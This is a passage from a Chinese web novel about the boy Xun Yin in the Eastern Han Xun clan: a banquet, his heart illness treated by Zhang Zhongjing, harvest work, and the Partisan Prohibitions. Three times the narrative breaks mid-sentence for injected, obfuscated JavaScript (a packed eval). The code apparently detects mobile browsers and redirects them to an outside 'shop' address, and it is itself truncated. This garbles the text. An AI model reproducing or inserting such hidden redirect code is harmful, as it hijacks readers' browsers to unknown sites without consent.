荀愔盯着这碗汤许久,像是终于下定了决心,鼓足了勇气张嘴,屏住气息往嘴里灌。此举务求药液直达胃部,不要在口腔里过多停留,但人毕竟不是一根直肠通到底,会厌软骨会教荀愔做人。 第一口下去,一股麻意便侵袭了他的口腔,随后酸意上涌,荀愔险些呕出来。 想着如果真的呕出来,这碗药也不能要了,他还得再受一遍苦,荀愔强忍着没有呕,不断告诉自己我没有味觉我没有味觉,才总算喝完了一整碗药。 喝药之前,“我没有味觉”只是荀愔给自己的暗示,但是喝药之后就变成了事实,他的味觉中枢已经被这歹毒的药汁冲垮,暂时无法做出任何反应了。 见荀愔喝完药后便木然地往嘴里塞蜜饯,老仆也有些怜惜,劝说道:“郎君,良药苦口利于病,您这不是小疾。” 因着上次的医工没能诊出症状,荀肃在那之后又请了几位医工,虽然仍没找到病根,却多少确定了是心上的毛病,那医工一面开了个保心药方让荀愔先吃着,一面劝荀肃另求更加高明的医家。 荀愔对老仆无力地摆摆手,等到舌头慢慢恢复味觉之后走进内室,重新入席。 然而就是在这短短不到一刻钟的时间,荀愔发现自己的位置没有了,那原本属于他的案几之前趺坐着的不是荀谌荀友若又是何人? “友若阿兄!这是我的位置。” 荀愔站在他背后拍他,被他抓着手放下,以耳杯指了指对面的席位。 “去我那儿,阿兄先在你这儿坐一会儿。” “不要。”荀愔很不满,靠在他身上试图把他挤开,但无奈人小力薄,荀谌稳若泰山。 荀谌被挤了几次,杯中酒水差点洒出来,无奈道:“小赖皮,怎么会有你这样的阿弟,连个位置都不肯让与我。” 看到这一幕的荀衍觉得荀谌可能只有八岁,比荀愔还小。 “到底是谁赖皮,我还没抱怨自己怎么会有你这样的阿兄!” 挤又挤不动,赶也赶不走,荀愔无奈了,他看了看四周,发现注意到这边情况的兄长们都在看好戏,竟然没有一人肯主持公道,干脆坐在了荀谌膝上。 荀谌大抵没少喝酒,身上已经沾染了酒气,见他如此哈哈一笑,真的放任他坐在膝上。反正这孩子也不重,只是夏日气温高,多少热了一点。 见荀谌谈笑自若,似乎完全看不见身前的自己,荀愔有些郁闷地给自己倒了一点酒水,然后伸出舌尖舔了舔。 噫,又酸又苦,竟也没比药汁好到哪里去。 荀愔果断放弃了尝试,转而看向一旁默默吃饭的荀彧,他的目光太有存在感,荀彧吃着吃着抬头看向他,眼里露出几分疑惑。 阿兄要做什么? 荀愔伸出手,将他的坐席拉了过来,邀请他一起来坐荀友若的膝头。 比坐垫柔软,且自带恒温,不比竹席强吗? 唔,在这炎炎夏日或许是不如竹席强,但没关系,此事是荀谌有错在先,荀彧秉持着朴素的正义可以帮一帮自己的小兄长。 于是两个孩子都挤到了荀谌的怀里,差点没把他压倒。 荀谌此时也不过是个弱冠青年,本身不长于骑射,是个标准的文士体格。他的膝头坐一个孩子还好,两个就多少勉强了些。 正当荀谌以为这就是自己生命不可承受之重时,坐在敬慈公下首的荀悦笑着唤来了自己的幼子,不满五岁的荀钦荀阿望小朋友露出无齿的笑,在阿愔叔父的呼唤下一起坐了上来。 荀谌:“……” 荀谌不堪重负地躺平了,歪倒在荀衍身上。 荀衍斥道:“大人们都在场,你这样算什么样子,快起来。” 荀谌看了看荀愔,深觉自己骑虎难下。此时让位,好像有点丢人,若不让更丢人,还有可能被这几个孩子坐断腿,想了想,算了,识时务者为俊杰,还是让吧。 荀愔于是成功抢回了自己的位置,抱着一坐定乾坤的荀钦直呼“好侄儿”,并承诺叔父今年制梨子糖一定给阿望也留一份。说到一半,似乎觉得有些冷落了弟弟,荀愔又转向荀彧。 “当然,一定也少不了阿彧的!” 荀彧已经回到了自己位置上,他其实不在意这个,但见荀愔说得热情,也只能点头应下。 虽说荀愔不觉得酒水有何滋味,但世人皆爱之,连荀氏的子弟们都没能免俗,喝得尽兴了便有人起身借着酒意舞蹈。 “有舞岂能无乐。”三伯荀靖家的堂兄荀琨起身吩咐侍从,“去取我的琴来。” 上首的几位尊长似乎十分乐见,不但没有制止,反而在呼唤子侄同舞。 先是荀悦,而后是荀衍、荀谌,荀彧一个错眼,连荀愔也带着不知从哪里来的手鼓下了场。 荀彧认得那只小到可以拿在手上以掌轻轻击打的手鼓,那是荀愔之前请人打制的,以牛皮为鼓面,串了银铃铛和流苏,此时流苏飘动,引得小豆丁荀钦不断追逐,像是盯着胡萝卜的小驴驹一样,随着荀愔满场乱跑。 这种场面若放到别处就是群魔乱舞,放在荀氏却只让人觉得他们随性赤诚,荀氏中人便没有仪态不出众的,此时虽是随行而舞,也各有风姿。 荀彧虽然没有入场,但听着兄长的琴音,看着族人的舞步,也不由得微笑起来。 荀愔踩着节奏从一众人中穿行而过,一路引来不少人的惊呼,“慢些”“小心点脚下”,兄长们一边笑一边伸手去扶因为年纪尚小跑得有些不稳的荀钦,又看着他们跑远。 荀琨本还在拨弦,然而渐渐地酒气上头,便只用指节敲琴作歌。 “……南有嘉鱼,烝然汕汕。君子有酒,嘉宾式燕以衎。“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412175|200684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这曲《南有嘉鱼》是众人少时都曾学过的,是以荀琨只唱了两句,便有人附随而歌。 “南有樛木,甘瓠累之。君子有酒,嘉宾式燕绥之。” 宴饮气氛过于热烈,荀愔带着荀钦半跳半跑着绕过几圈后,见他似乎跑不动了,便带着回到坐席上,喂了他一杯水。缓过那口气之后,小豆丁便又要拖着荀愔要他带他玩,无奈之下,荀愔只好把小手鼓给了荀钦,让他拿着去寻荀悦。 荀钦跑远之后,荀愔转向荀彧,“阿彧去跳一曲吧“,荀彧摇摇头,即便亲友俱都在饮酒歌舞,他也仍旧端正地坐在那里,只以一双含笑的明澈眼瞳看着他们。 荀愔透过弟弟平静的外表之下看出了他的不好意思。毕竟还是孩子,遮掩情绪的功力尚且不及荀衍,又如何能逃得过荀愔的感知,他起身叫了一声“友若兄长”,荀谌便嬉笑着过来把幼弟也拉走了。 宴后没过多久便到了七月,暑热渐渐消减的同时,荀肃终于收到了一封来自南阳的信,署名张机。 “是你仲景阿兄,记得吗?张家女公子的大堂兄,从前带你去张氏时你们也是见过的。” 荀愔记忆力不差,虽然上次去张家还是在四年前,但因为有张家女公子这个引子,他很快在回忆之中给这位仲景阿兄对上了号。 至于他为什么会这么在意这位女公子……因为那是他幼时,荀肃和已故母亲为他定下的婚约对象。 所以这是未婚妻的兄长要来他们家拜访? 荀肃解释:“这位张氏公子曾拜南阳医者张伯祖为师,在其家乡涅阳小有名声,我担忧你的病情,所以月前去信请他来颍阴小住一段时日。” 荀愔闻言心下涩然:“让大人费心了。” 因为自己那场莫名其妙不知来由的病,荀肃已经多方求医,如今居然找到姻亲头上,实在是……让荀愔不知该如何是好。 荀肃看出了他的心思,宽慰道:“傻孩子,我是你的父亲,再如何为你费心也不为过。” 张仲景到高阳里的那日正是立秋,他不仅带来了自己的医箱,草药,还有一台琴。 荀愔不明所以。这位仲景阿兄不是医者吗,为什么出诊要随身带琴? 张机不是第一次见到荀愔,却是第一次注意堂妹未来夫婿的相貌,此时一见,心道不愧是荀家子,他自入高阳里以来,但凡遇见的荀氏族人仿佛就没有一个长歪的,但即便如此,这位荀愔也无疑是其中最为出挑的那个。 “是阿娞托我送给你的。” 阿娞无疑是个女孩的名字,在道明缘由之后,张机毫不意外地看到这本还端持仪态的孩子耳后烧起了一片红。 “对不起,我该常给她带礼的,对不起。” “不必如此,敬慈公和家中每年都有节礼来往,叔父对家中管教甚严,你以个人名义送礼只会被拒收。” 这话倒也有理,但荀愔仍觉得是自己怠慢了女公子,只看外表,张机还真想不到他是这样纯情的孩子。 世人难免以貌取人,荀愔有这样张扬艳丽的相貌,想来平日无论在族中还是外人面前都难免受偏爱,却意外的没有养成轻视他人心意的毛病,这很好,张机想,族中长辈们的眼光素来可为人称道,荀氏亦是有礼人家,他倒是不必担心日后堂妹远嫁至此会受委屈了。 但是……荀家伯父请他来,仿佛是为了这孩子身上的隐疾? 5. 秋日出游 张机为荀愔切脉时,荀愔还在思考要送些什么回礼。 胭脂水粉吗?仿佛过于不走心了些,钗环玉佩意义非凡,也不是此时应该送的,思来想去,荀愔觉得还是得考虑一下当事人的偏好。 “阿娞……我是说女公子,她平日里可有什么爱好吗?” 张机凝神细细感受指下脉搏,对于荀愔的问题只有敷衍。 “自己想。” 荀愔想不出来。 他可以把不值钱的杏子当做给族人兄弟的礼物,却害怕这样的随意会让张家的女公子误会他对她不上心。 这不对,他应该尽量避免产生误会。 张机切了许久的脉都没能捕捉到什么不对,随着时间流逝,荀愔渐渐沉溺于自己的思绪,正在纠结时,张机却突然捕捉到了那一丝紊乱。 果然是心疾,脉搏时而有力,时而微弱,快慢不一,没有规律。发病前一切正常,发病时没有征兆,怪不得先前的医者都没能把出来。若非张机相信荀敬慈不是妄言之人,耐心也足,恐怕真要错过那短暂失序的脉息。 “你上次发病是在睡梦之中?” 荀愔点头。 “梦见了什么?” 荀愔一愣,人本就难以将梦境记住,又着实间隔了些时日,所以记忆已经模糊,他只依稀记得梦里有潮水,有人说话,其余的便没什么了。 “我的病难道与做梦有关吗?”荀愔好奇。 “没有。”张机斟酌着写下一张药方,“心疾最忌情绪大起大落和外界刺激,你或许是因那场梦引发了潜伏的病根。而不是因梦得病。” 张机的话不多,却自带一种说服力,令人不自觉地相信他的判断。 荀愔真心实意地向他道谢:“多谢仲景阿兄。” 张机在绢帛上涂改几次,重新写定后将之交给一旁的荀家仆从,让其按量抓药,先煎几帖吃一段时间。 荀愔没看见药方,问他:“这药苦吗?” 张机:“没有不苦的药。” 荀愔便不说话了,回忆起之前吃药的痛苦经历,觉得口腔都在无端发麻。 千金易得,良医难求,纵使医工在如今尚且处于百工之列,社会地位不高,但谁也不能否认医者的重要性。救人生死,活人性命是大恩,一个神医的出现,对于顶层权贵而言不过是多了一分享受荣华富贵的保证,但对于底层的人而言,是多了一份信仰。 如今的大汉不会知道,在朝的诸公百卿、有识之士也不会知道,十多年之后,会有一个人借被视为百工贱业的医道汇笼民心,敲响这四百年皇汉的丧钟。 “真的不能换换口味吗?哪怕少些酸苦也好啊。” 荀愔第无数次询问张机这个问题,不出意外地再次得到了两个字——“不行”。 我太难了,荀愔想,世上怎么会有这样的刑罚。他一边捏着鼻子把药灌下去,一边在竹书上记着什么,倘若此时有人能凑过来一观,便能发现那上面是……一堆鬼画符? 当然不是鬼画符,是荀愔简化过的音阶符号。 如今古琴记谱多使用文字,不仅抄录时易错,弹奏时也有不便,且有些琴谱只记指法,却无音名,更是为弹奏者提高了阅读门槛,荀愔翻看过后,觉得纵使将其收集起来汇总成一本,也不算是一份有心意的礼物,索性推倒重来,自修一套记谱法。 只是荀愔在下定决心做此事之前尚且觉得这大抵是一件并不容易的事,然而真正上手之后却发现顺手得很,像是脑海里原本就有一套成熟的记法,连替代五音的符号都像是自然而然地跃出脑海。 以1、2、3、5、6代之以宫商角徵羽,加入短线表示节拍。 荀愔凝视这竹书上的墨痕,想了许久也没想出个头绪,便继续写了下去。 此时天气尚且怡人,不冷不热,荀愔坐在窗下,微风拂过,将他的几缕头发吹得散乱,突然有一人从窗台将头探了进来。 “真是奇了,你最近竟肯老实待在房中,不出去疯玩?” 荀谌扶在窗棂上,他的出现将本还沉溺在思绪之中的荀愔惊得后仰,连砚台都险些打翻。 荀愔抚着胸口,真切地感受到了自己胸膛中那颗心脏的不安分,它跳得随心所欲,想轻就轻,想重就重,全然不管自己主人的生死。 “怎么了?”见荀愔长久无言,抚着胸口说不出话来,荀谌才意识到问题的严重性,他来不及走门,双手一撑从窗外跳了进来,发现弟弟的脸色因为这一惊居然有些发白。 荀谌来不及自责,转身就要冲出去:“我去请张仲景!” “不……”荀愔抓住兄长的衣袖,“我没事,缓一缓就好……” 张机确实于医道上本事不凡,他的药虽然不能根治荀愔的心疾,却极大地减轻了发病的烈度,荀愔不断平缓呼吸,几次之后终于有力气重新坐好。 他对一脸担忧之色的荀谌安慰道:“没关系,我真的没事。” 荀谌:“……我很难相信,要不还是请仲景兄来看看。” 荀愔摇头:“会惊动大人,我已经好了,就不要让大人再为我平白担忧了。” 这是一片孝心,荀谌无论如何都不忍拂了他的意,只好多用心留意他的脸色,发觉确实无恙,才放下心来。 立秋之后,暑气消减,夏日时仿佛凝固住的空气仿佛终于能够流动,不时有一阵风吹过,把天空都吹成一片晕染着轻薄白色的蓝幕。 荀谌在荀愔对面坐下,透过窗扇看了看外面的阳光。 “今日天气正好,正适宜外出走走,几个孩子想出去放纸鸢,大人也应允了,本想着把你也叫上,谁知道你这病竟然这样厉害。” “我能跑能跳,哪里有事。”荀愔闻言立即反驳,并且越过书案,抱住了荀谌的胳膊,像是怕他跑了一样,“阿兄来都来了,一定要带上我。” “好好好。”荀谌无奈应承,就知道会是这样。 阿昭这孩子,哪里有热闹他往哪里钻,但凡有事少了谁都不会缺了他。 荀愔如愿地跟着荀谌出了家门,在一群扎着冲天辫的小孩子中间看见了熟悉的人。 “公达!” 荀攸听见荀愔的声音,牵着身边孩子的手走过来,开口说的第一句话是——“听闻叔父病了,出门前有好好吃药吗?” 荀愔:“……” 与荀愔一般大小的孩子们都嘲笑出声,这个说“阿昭比女孩子还娇气,才不会好好吃药”,那个说“他不要叫阿昭了,应该叫阿娇”,笑得荀愔又羞又气。 然而面对荀攸,荀愔居然不敢提出抗议,只能默默垂首,脚尖踢着地面的小石子,小声道:“不要这样,我们出门是来玩的,不要提这种事。” “所以有好好吃药吗?” 见终于躲不过去了,荀愔哀怨地看了荀攸一眼,点点头。 荀攸于是笑了,回身对那群唯恐天下不乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412176|200684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小鬼道:“不要编排亲长。” 荀愔在他身后狐假虎威。 “就是就是,我可是叔叔,不许嘲笑我。” 几个孩子笑嘻嘻地冲他做了个鬼脸,四散着跑开了,只留下小豆丁荀钦看看这个,望望那个,有些羞涩地走过来向小叔父表忠心。 “阿望没有编排叔父哦。” 荀愔于是凑上去亲了他一口:“我知道,阿望最乖啦。” 这过于奔放热情的表达把荀钦烧成了只粉红包子。 秋后便是农忙时节,荀氏并非大富大贵之家,又不提倡溺爱子弟,所以每到春种秋收时常会让子弟亲自去到田间地野间劳作几日,不为能收上来粮食,只是要他们略通农桑之事,不至于忘记民生之艰。 荀愔虽然还梳着总角,却已经识得些道理,兄长们便把他也拉进了劳作的队伍里。 “这样,把住茎杆,贴着根部向内割,小心些,别伤到手。”荀衍弯着腰给荀愔做示范,他手里持着的不是常带在身边的短剑匕首,而是一把弯如月牙的弯刀。 “是镰刀。” 荀衍敲了敲刀身,道:“这把是今年新铸的,故而刀锋锋利,能省不少力气。” 铁器价贵,荀愔是知道的,所以他问:“颍阴有多少人家会买新铸镰刀?” 荀衍对弟弟的敏锐很满意:“很少。” “手有闲钱的大户不会亲身农桑,只要粮食收得上来,不会管佃户是否劳累。手无闲钱的就更不必说。府君不擅农事,县令又威望不足,是以近年以来农具铸造总有拖延,变相抬高了价格,就更没人肯买,我去找县令购置这批农具时,看见存放的府库锁头都落了灰。” 荀愔沉默,竟不知该说些什么。 “家中不愿因区区小利熬煎底下的佃户,让我将这批农具折半作价发放了下去。” “哦,那很好啊。”荀愔的回答似乎没什么情绪。 “阿昭。”荀衍唤了他一声,见他抬头看向自己,补充道,“我说这些不是要你多思伤身,只是要你知道生民不易的道理。” 荀愔点头:“我知道。“ 似他们这种士人之家,就是靠亲长言传身教,在各种寻常小事之中将一些不能够以言语表达的东西传递给家族的下一代的。 因为长辈们眼界宽广,品德出众,所以在他们身边长大的孩子会受此熏陶,更有可能成长为才德之士。 荀愔知道兄长的苦心,也知道自己此时年幼,尚且无力改变这种局面,他只是在想,既然颍阴的其他大户收了佃租却不能好好对待佃户,那为什么不能让他们消失? 打掉他们,分掉他们的土地,把万亩之家分成千亩,将千亩之家分成百亩,以一户具有成年男丁的人家每年消耗的粮食计算,再加上朝廷摊派的各种赋税、徭役,一户若有百亩土地即可好好生活,若再勤劳一些,足可为子孙后代积攒家底,然后…… 荀愔的思绪滞住了,然后他们就会把银钱投入土地的购买,直到成为新的千亩之家。 在这个时代,土地是最值钱的东西。 而只要以土地为本的小农思想存在,就会有源源不断的万亩之家出现。 来不及思考脑海里为什么会蹦出“小农思想”这种词汇,荀愔几步趋前,跟在荀衍身边问:“兄长,如果想要佃户过得更好一些,难道只能寄希望于大户的品德与仁慈吗?” 难道只能寄希望于世上多几个荀氏吗? 6. 党锢之困 荀衍不明白荀愔的问题为何如此跳跃,上一秒还在问镰刀之事,下一秒竟然在问治邦之法。 是的,虽表面只是在问佃户,但这个问题的实质其实是整个国家的利益分配。而凡是关乎治国理政的问题,都不太好回答。 荀衍想了想道:“礼、法、合适的政策、贤明的官员、精干的小吏,有这些条件,就可以让一郡上下有分,庶民得饱。” 这不是荀愔想要的答案。 “若大户不仁爱于民……” 荀衍:“则其必不能长久,佃民自会四散而逃亡。” “不能制定律法惩治吗?” 荀衍摇头:“若真有这种律令,不是沦为一纸空文,就是已到了国家沦亡之时了。” 这话倒没有之前几句回答的空泛,但荀愔仍旧不满意,抿紧了嘴唇。 荀衍看出了他的不服气,笑着摸了摸他的头,转而谈起另一个话题。 “家中无人专治刑律,阿昭如果喜欢,可向叔父说明,拜求名师。” 想了想,荀衍又道:“我记得同郡的阳翟郭氏家传小杜律,两族素有往来,或可送你去往阳翟求学。” 阳翟郭氏是颍川豪族,章帝时期的廷尉郭躬便是出自此家,自他之后,郭氏世代传承,家声远近闻名。 在这颍川郡中,若论起家族势力,一族白丁的荀氏完全不能与郭氏相比。寻常人若听闻可以拜师郭氏的消息,或许会欣喜若狂,但荀愔却并没有高兴起来。 “我并非喜好律法。” 说完,荀愔觉得自己这话听起来太过于生硬,又道:“我原以为阿兄会用‘道之以政,齐之以刑,民免而无耻。道之以德,齐之以礼,有耻且格。’这样的道理来说服我?” 荀氏的长辈们都是精通经义的大家,喜欢在各种时候突击考校小辈们的功课,荀衍生长于这种环境之中,自然也承袭了这种习惯,但他还没有严苛到在外出游玩时考堂弟的《论语》。 小孩子嘛,该玩的时候就要玩得尽兴,何必搅扰了他的兴致? 但显然,兄长的苦心并没能被弟弟领受,荀愔太聪明,也太敏锐,普通的聪慧当然值得称道,但凡事过犹不及,一旦过了那条界限,好事就成了坏事。 “这话当然不错,但是……”荀衍非常无奈,回头望了望一片忙碌的田野,望了望秋日如洗的碧空。 但是啊,荀氏虽是荀子之后,却并非是一群空谈经义的腐儒,不论是为了出仕也好,交游也好,他们的目光从不局限于书本之内,永远放在那些更加实际的问题上。 宦官与士人的对抗、外戚与世家的联合、朝廷对州郡隐隐的脱控,乃至连年的天灾、瘟疫…… 荀衍:“经义叙述的永远只是道理,道理可以说服相信它的人,却不能说服你。“ 荀愔纳罕:“我在兄长心中,是个不信道理的人吗?” “不,阿昭。”荀衍笑了,“你只是不能接受被人愚弄。” 荀衍当然可以玩一些文字游戏,用一些先贤说过的话来糊弄孩子,让他们误以为自己获得了某个问题的答案,继而满足离去。 但是这对荀愔没用。“民免而无耻”的答案可以让荀愔闭上嘴,却绝不会让他闭上眼睛。 荀衍想:阿昭大概不知道,当我用“道理”作为第一个问题的答案时,他眼睛里闪烁着什么样的愤怒。 被轻视、被敷衍、被当做天真稚子糊弄。当他意识到无论如何都不能从堂兄这里获得一份或许不怎么完美,却发自真心的回答时,他就会疏远他这个堂兄了,而荀衍也会失去这个从小跟在自己身后,视若同胞兄弟的堂弟。 真是难搞啊,阿昭。阖族上下,再没有像他这样难搞的小孩。 荀衍有些头疼地想,还好家里都是些聪明人,还好他这个当兄长的也算是个聪明人,不然一个教育不好,这孩子怕就要走上邪路。 这片土地种的是黍,因为今岁雨水足够,故而谷穗尚算饱满,孩子的手掌柔嫩,即便荀愔自诩不是怕吃苦的人,在跟着兄长们割过一陇之后,手掌也因握法不对被刀柄磨出了水泡,疼得他龇牙咧嘴。 荀衍本以为他会闹,或者过来撒娇,但不成想这孩子居然一声不吭,跟着自己从田头割到田尾,连他都没看出有什么不对,直到公达来叫荀愔时发觉他把手背在身后,这才看见了那些水泡。 荀衍皱眉问:“为什么不说?” 荀愔倒不是非要逞这个强,他只是觉得不好意思,况且这也并不是什么大事,他爬树时也没少受些擦伤。 荀衍无奈地睨他一眼,看向荀攸。 “公达送他去涂些伤药吧,伤在手心,出了汗会更疼。” 荀愔插嘴:“其实我觉得还好……”话没说完,就被荀衍横了一眼。 “受伤了要说,觉得痛了也要说,不然我们这些兄长是做什么的?哪有把你从叔父那里带出来,却因为照管不力,反让你受苦的道理?” 因是外出,身上没带伤药,荀攸便将他送到了今日与荀氏子弟一同出游的张仲景那里。 张机本以为是多大的伤口,等这孩子张开手一看,不由得一哂:“再送晚些,伤口就要愈合了。” 荀愔一个没忍住,笑了出来,得到荀攸一个不赞同的眼神。 话是这么说,但张机却没有真的不将荀愔的伤口当回事,当即取出随身药粉为他细细涂抹,又叮嘱他不要碰野外的脏物和野水,以免引发脓肿。 药粉颜色偏黄,嗅之有咸苦气,荀愔怕握紧手后手心的汗液会把药粉带走,只能张着两只手放在膝上,一时什么也做不了,只能留在张机身边干瞪眼。 秋后的草叶尚且没有全部枯黄,荀氏的仆从在草地上铺上席子,以供劳作完的子弟休息,张机和荀攸虽此前没有见过,却意外地谈得来。 两人都不是寻常士人,荀攸是因为家学传承之故,所以视野广阔,而张机却因行医之故,游历颇多,荀愔坐在他们身边听他们聊天,丝毫不觉无聊。 梳着总角的孩子从荀愔身边跑过,问他怎么不与他们一起放纸鸢? 荀愔一本正经地敷衍:“因为我已经是个成熟的人了,才不会喜欢你们这种小孩子的娱乐。” 他这话义正词严,荀攸听了只觉得叔父可爱,但张机可没有这层亲人滤镜,转头拆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412177|200684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 台道:“是因为他手心长了水泡,怕疼。” 荀愔憋气,看着那孩子笑哈哈地跑远,知道自己的黑历史算是又多了一桩。 高阳里虽因荀氏之故更名,但此处居住的却不只有荀氏一家,相邻的几姓听闻荀氏出游,其中的子弟便也跟了过来。这样的一群人聚在一起交谈的自然不会是家长里短,而是当今局势。 如今的皇帝刘宏已经亲政五年,五年中已经足够天下人看清楚这位年轻天子的喜好和行事。 刘宏并非桓帝子嗣,但在士人眼中,其行事上却与桓帝仿佛亲生父子。无论是重用宦官也好,重启党锢也好,他甚至要比桓帝要难缠得多。 所谓党锢之祸,自桓帝延熹九年始,因桓帝的驾崩和大将军窦武的上台短暂结束,又在皇帝刘宏亲政之后再次兴起。荀氏一族颇受其害。 延熹九年的祸事之中,家族在外出仕的几乎全遭罢黜,但好在保全了性命,但第二次的党锢却更为血腥,从建宁二年到建宁三年,荀氏接连损失位列“八俊”的荀昱和曾官至广陵太守的荀昙,自此再无在朝官员。 二荀出事之后族中很是乱了一阵,内部的外部的矛盾接踵而至,那段时光过于昏暗,以至于荀愔只记得满目白纷纷,所见亲人面上俱是哀色,荀攸也由一个活泼少年一夜之间长成如今这幅老成持重的样子。 于他们家而言,党锢就像是一片阴云,时时刻刻笼罩在家族每一人的头顶,所以无怪乎荀衍这种行事尚算积极的人都会因小节大节之争流露出颓丧之意。 因为起码是现在,荀氏族人看不到任何出仕的希望。 而即便如此,家中的长辈也没有放松对于子弟的教导,从稚龄孩童到加冠青年,该进学的进学,该游学的游学,该养名交游的养名交游,对于朝廷下达的政令、局势的变动也总会及时关注,这不仅仅是因为“汝颍好仕宦”,更多是因那份“修身齐家”的坚持。 他们固然因为党锢无法出仕,即便是家族之中最有才华的子弟也不能施展抱负,而只能困居高阳里,守着这一亩三分地,但他们永远会等待下一个机会。 而这也是皇帝最厌恶的一点。 似荀氏这种虽不在朝中,但是姻亲故旧、师长友人关系错综复杂的家族,一旦解除党锢,多年精心教导出的子弟就会迅速崛起,充盈朝堂,而后便会再次陷入一个怪圈。 士人诛宦,皇帝失权。 皇帝不想失权,借助宦官之力反击,双方陷入拉扯。 上一次的党锢迫于舆论压力,党人最终被平安放归乡里,皇帝下定决心不使这一次的党锢重蹈覆辙。但他的决心显然不能为人理解,连天时都来插一杠子,像是要以此来证明皇帝的昏聩。 建宁二年三月,大疫横行,四月望日,温德殿遭雹,大风、霹雳,“拔大树百余”。 建宁三年正月,河南、河内饥荒,“河内人妇食夫,河南人夫食妇”。 建宁四年二月,京都雒阳地震,沿海海水反灌,五月,河东地裂,山水暴出,同年大疫。 今年六月,雒阳大水。 比党锢之祸更加沉重庞大的阴影正在笼罩这片土地。 7. 被抓壮丁 张机没有在高阳里长住,临行之前收到了荀愔托他转交的,送给张家阿娞的回礼。 他好奇问:“是什么?” “琴谱。” 那盒子不大,看起来不像是能装很多竹书的样子,张机想了想,未免这孩子在其中夹带一些不该夹带的,教坏了他家女孩,还是准备打开看一眼。 那其中并不是什么失传名谱,但这份礼物的珍贵之处在于其记谱方式,虽然张机并不擅长此道,却能看出以这种符号写出的谱子比之文字谱要简便易懂一些。 倒是有心了。 张机点头承诺自己一定送到,在荀愔的目光之中乘车离开。 时至八月,梨子成熟,荀愔没有忘记对弟弟和侄儿的承诺,托家中老仆去买了一筐梨子,预备在家熬煮梨子糖。 非常可惜,这一次的荀愔没能忽悠到像陈群那样的免费劳力,只能亲身上阵,一连三日,他身上都缭绕着一股柴薪的烟味,让人闻之鼻痒。 好在努力没有白费,经过几日的阴干,荀愔最终得到了一罐外表看起来一般,但滋味尚算不错的糖块,抱着出门时,遇到个孩子便散出去一块,荀阿昭一时风头无两,成为了今日最令人敬爱的叔父。 荀谌简直要笑跌。 “这‘最敬爱叔父’的名头的保持时间大概和这糖化的时间一样长吧。” 荀愔不想理会他,抱着竹书低头演算。 “在写什么?”荀谌看了过来,发觉他在画一些符号,不由露出迷惑神情。 “我听怀琛兄长说,你想出了一种新式的记谱法,怎么会想到做这个?”怀琛便是之前在宴上弹琴的荀琨。 虽然家中兄弟各有所好,也各有所长,但荀愔此前可并未表现出对于琴乐的偏好,如今只因为张家女公子的一台琴就尽心到了这种地步,让人不由觉得他有些耽溺于私情。 不对,阿昭他才多大,他懂什么叫做儿女之情吗? “我不是在写琴谱,是在计算音律和弦长的关系。“ 荀愔伸出手指拨了一下琴弦,然后左手几次偏移,多次拨弦。 “阿兄能听出来吗?” 荀谌并非是蠢人,想了想道:“同一个音,只是高低不同?” “是啊。”荀愔点头,“每次按弦的长度距离和发出的声音存在一个固定的关系,我就是在算这个。若将相邻的宫音与商音算一个全音,每两个高低不同的宫音之间就能等分为六份全音,十二份半音,据此计算每两个半音之间的弦长之比是个固定的数。“ 荀谌其实没听懂,但觉得还挺有趣。 “你算出这个是要做什么?” 荀愔:“……方便我记谱调琴?” 荀谌并不知道这冗杂的计算背后的意义,荀愔也未必将其看得很重,只是随手为之,只有荀琨和荀衍将此当成了一件值得关注的事,前者把荀愔的手稿和结论拿去整理成册,后者将荀愔抓去做了壮丁。 荀衍:“你何时学的数术?早知你喜欢这个,就该早些把你抓过来算账。” 秋收之后族内事务繁杂,田税、口算、更赋都要尽快算出个章程,以往荀衍也会抓人帮忙,但今年那些人有了经验,纷纷借口有事躲避出去,以至于荀衍上门抓人时居然寻不到几个人影,只好盯上了弟弟。 荀愔被荀衍拎小猫一样拎到账房时,在那里见到了已伏案工作了有一阵的荀彧。 这一幕让日后的荀愔在很长一段时间都认为,荀彧那即便在曹营之中也算得上首屈一指的工作效率,就是在荀衍的压迫之下练出来的。 唉声叹气地在荀彧身边坐下,荀愔将案几拉近,展开一卷文书,听荀衍讲解过后便很快上了手。毕竟也只是些族内的田计账簿,其中牵扯到的人事、折损已经过了兄长的把关,他只需要做最后枯燥且乏味的计算工作。 平日里兄弟几人再如何嬉闹,正事上却无人会持轻视态度,是以无论是荀彧、荀愔,还是半开玩笑带着弟弟前来做事的荀衍都很快沉浸入文书的海洋之中。 “啪,啪啪,啪。” 室内无人说话,唯一的声响便是算盘珠子相互击打的声音,荀愔垂眼端坐案前,一手拨珠,一手记录数字,浓密眼睫垂下,盖住了那双因眼尾微微上翘,看人时总显出几分多情的眼眸。 